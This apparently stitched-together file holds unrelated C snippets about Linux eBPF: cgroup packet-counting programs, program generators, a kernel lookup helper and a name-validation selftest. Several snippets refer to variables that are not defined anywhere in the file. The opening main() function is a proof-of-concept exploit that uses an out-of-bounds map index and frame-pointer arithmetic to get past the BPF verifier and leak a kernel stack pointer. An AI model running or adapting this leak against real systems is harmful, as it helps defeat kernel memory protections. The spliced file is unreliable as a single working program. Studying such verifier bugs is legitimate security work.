int main(void) { int small_map = array_create(8, 1); struct bpf_insn insns[] = { // load NULL pointer, tracked as "NULL or value pointer", into r0 BPF_LD_MAP_FD(BPF_REG_ARG1, small_map), BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4), BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 9), //oob index BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // compute r9 = laundered_frame_pointer BPF_MOV64_REG(BPF_REG_9, BPF_REG_FP), BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_0), // store r9 into map BPF_LD_MAP_FD(BPF_REG_ARG1, small_map), BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -4), BPF_ST_MEM(BPF_W, BPF_REG_ARG2, 0, 0), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_9, 0), BPF_MOV64_IMM(BPF_REG_0, 0), BPF_EXIT_INSN() }; int sock_fd = create_filtered_socket_fd(insns, ARRSIZE(insns)); trigger_proc(sock_fd); printf("leaked pointer: 0x%lx\n", array_get_dw(small_map, 0)); }
static int prog_load(int map_fd, int verdict) { struct bpf_insn prog[] = { BPF_MOV64_REG(BPF_REG_6, BPF_REG_1), /* save r6 so it's not clobbered by BPF_CALL */ /* Count packets */ BPF_MOV64_IMM(BPF_REG_0, MAP_KEY_PACKETS), /* r0 = 0 */ BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), /* *(u32 *)(fp - 4) = r0 */ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ BPF_LD_MAP_FD(BPF_REG_1, map_fd), /* load map fd to r1 */ BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 2), BPF_MOV64_IMM(BPF_REG_1, 1), /* r1 = 1 */ BPF_RAW_INSN(BPF_STX | BPF_XADD | BPF_DW, BPF_REG_0, BPF_REG_1, 0, 0), /* xadd r0 += r1 */ /* Count bytes */ BPF_MOV64_IMM(BPF_REG_0, MAP_KEY_BYTES), /* r0 = 1 */ BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), /* *(u32 *)(fp - 4) = r0 */ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ BPF_LD_MAP_FD(BPF_REG_1, map_fd), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 2), BPF_LDX_MEM(BPF_W, BPF_REG_1, BPF_REG_6, offsetof(struct __sk_buff, len)), /* r1 = skb->len */ BPF_RAW_INSN(BPF_STX | BPF_XADD | BPF_DW, BPF_REG_0, BPF_REG_1, 0, 0), /* xadd r0 += r1 */ BPF_MOV64_IMM(BPF_REG_0, verdict), /* r0 = verdict */ BPF_EXIT_INSN(), }; return bpf_prog_load(BPF_PROG_TYPE_CGROUP_SKB, prog, sizeof(prog), "GPL", 0); }
static void bpf_gen_imm_prog(unsigned int insns, int fd_map) { int i; srand(time(NULL)); for (i = 0; i < insns; i++) prog[i] = BPF_ALU64_IMM(BPF_MOV, i % BPF_REG_10, rand()); prog[i - 1] = BPF_EXIT_INSN(); }
/* emit BPF instructions equivalent to C code of array_map_lookup_elem() */ static u32 array_map_gen_lookup(struct bpf_map *map, struct bpf_insn *insn_buf) { struct bpf_insn *insn = insn_buf; u32 elem_size = round_up(map->value_size, 8); const int ret = BPF_REG_0; const int map_ptr = BPF_REG_1; const int index = BPF_REG_2; *insn++ = BPF_ALU64_IMM(BPF_ADD, map_ptr, offsetof(struct bpf_array, value)); *insn++ = BPF_LDX_MEM(BPF_W, ret, index, 0); *insn++ = BPF_JMP_IMM(BPF_JGE, ret, map->max_entries, 3); if (is_power_of_2(elem_size)) { *insn++ = BPF_ALU64_IMM(BPF_LSH, ret, ilog2(elem_size)); } else { *insn++ = BPF_ALU64_IMM(BPF_MUL, ret, elem_size); } *insn++ = BPF_ALU64_REG(BPF_ADD, ret, map_ptr); *insn++ = BPF_JMP_IMM(BPF_JA, 0, 0, 1); *insn++ = BPF_MOV64_IMM(ret, 0); return insn - insn_buf; }
static void bpf_gen_map_prog(unsigned int insns, int fd_map) { int i, j = 0; for (i = 0; i + 1 < insns; i += 2) { struct bpf_insn tmp[] = { BPF_LD_MAP_FD(j++ % BPF_REG_10, fd_map) }; memcpy(&prog[i], tmp, sizeof(tmp)); } if (insns % 2 == 0) prog[insns - 2] = BPF_ALU64_IMM(BPF_MOV, i % BPF_REG_10, 42); prog[insns - 1] = BPF_EXIT_INSN(); }
static int prog_load_cnt(int verdict, int val) { int cgroup_storage_fd, percpu_cgroup_storage_fd; if (map_fd < 0) map_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, 4, 8, 1, 0); if (map_fd < 0) { printf("failed to create map '%s'\n", strerror(errno)); return -1; } cgroup_storage_fd = bpf_create_map(BPF_MAP_TYPE_CGROUP_STORAGE, sizeof(struct bpf_cgroup_storage_key), 8, 0, 0); if (cgroup_storage_fd < 0) { printf("failed to create map '%s'\n", strerror(errno)); return -1; } percpu_cgroup_storage_fd = bpf_create_map( BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE, sizeof(struct bpf_cgroup_storage_key), 8, 0, 0); if (percpu_cgroup_storage_fd < 0) { printf("failed to create map '%s'\n", strerror(errno)); return -1; } struct bpf_insn prog[] = { BPF_MOV32_IMM(BPF_REG_0, 0), BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), /* *(u32 *)(fp - 4) = r0 */ BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ BPF_LD_MAP_FD(BPF_REG_1, map_fd), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 2), BPF_MOV64_IMM(BPF_REG_1, val), /* r1 = 1 */ BPF_RAW_INSN(BPF_STX | BPF_XADD | BPF_DW, BPF_REG_0, BPF_REG_1, 0, 0), /* xadd r0 += r1 */ BPF_LD_MAP_FD(BPF_REG_1, cgroup_storage_fd), BPF_MOV64_IMM(BPF_REG_2, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_get_local_storage), BPF_MOV64_IMM(BPF_REG_1, val), BPF_RAW_INSN(BPF_STX | BPF_XADD | BPF_W, BPF_REG_0, BPF_REG_1, 0, 0), BPF_LD_MAP_FD(BPF_REG_1, percpu_cgroup_storage_fd), BPF_MOV64_IMM(BPF_REG_2, 0), BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_get_local_storage), BPF_LDX_MEM(BPF_W, BPF_REG_3, BPF_REG_0, 0), BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0x1), BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_3, 0), BPF_MOV64_IMM(BPF_REG_0, verdict), /* r0 = verdict */ BPF_EXIT_INSN(), }; size_t insns_cnt = sizeof(prog) / sizeof(struct bpf_insn); int ret; ret = bpf_load_program(BPF_PROG_TYPE_CGROUP_SKB, prog, insns_cnt, "GPL", 0, bpf_log_buf, BPF_LOG_BUF_SIZE); if (ret < 0) { log_err("Loading program"); printf("Output from verifier:\n%s\n-------\n", bpf_log_buf); return 0; } close(cgroup_storage_fd); return ret; }
static void test_obj_name(void) { struct { const char *name; int success; int expected_errno; } tests[] = { { "", 1, 0 }, { "_123456789ABCDE", 1, 0 }, { "_123456789ABCDEF", 0, EINVAL }, { "_123456789ABCD\n", 0, EINVAL }, }; struct bpf_insn prog[] = { BPF_ALU64_IMM(BPF_MOV, BPF_REG_0, 0), BPF_EXIT_INSN(), }; __u32 duration = 0; int i; for (i = 0; i < sizeof(tests) / sizeof(tests[0]); i++) { size_t name_len = strlen(tests[i].name) + 1; union bpf_attr attr; size_t ncopy; int fd; /* test different attr.prog_name during BPF_PROG_LOAD */ ncopy = name_len < sizeof(attr.prog_name) ? name_len : sizeof(attr.prog_name); bzero(&attr, sizeof(attr)); attr.prog_type = BPF_PROG_TYPE_SCHED_CLS; attr.insn_cnt = 2; attr.insns = ptr_to_u64(prog); attr.license = ptr_to_u64(""); memcpy(attr.prog_name, tests[i].name, ncopy); fd = syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); CHECK((tests[i].success && fd < 0) || (!tests[i].success && fd != -1) || (!tests[i].success && errno != tests[i].expected_errno), "check-bpf-prog-name", "fd %d(%d) errno %d(%d)\n", fd, tests[i].success, errno, tests[i].expected_errno); if (fd != -1) close(fd); /* test different attr.map_name during BPF_MAP_CREATE */ ncopy = name_len < sizeof(attr.map_name) ? name_len : sizeof(attr.map_name); bzero(&attr, sizeof(attr)); attr.map_type = BPF_MAP_TYPE_ARRAY; attr.key_size = 4; attr.value_size = 4; attr.max_entries = 1; attr.map_flags = 0; memcpy(attr.map_name, tests[i].name, ncopy); fd = syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); CHECK((tests[i].success && fd < 0) || (!tests[i].success && fd != -1) || (!tests[i].success && errno != tests[i].expected_errno), "check-bpf-map-name", "fd %d(%d) errno %d(%d)\n", fd, tests[i].success, errno, tests[i].expected_errno); if (fd != -1) close(fd); } }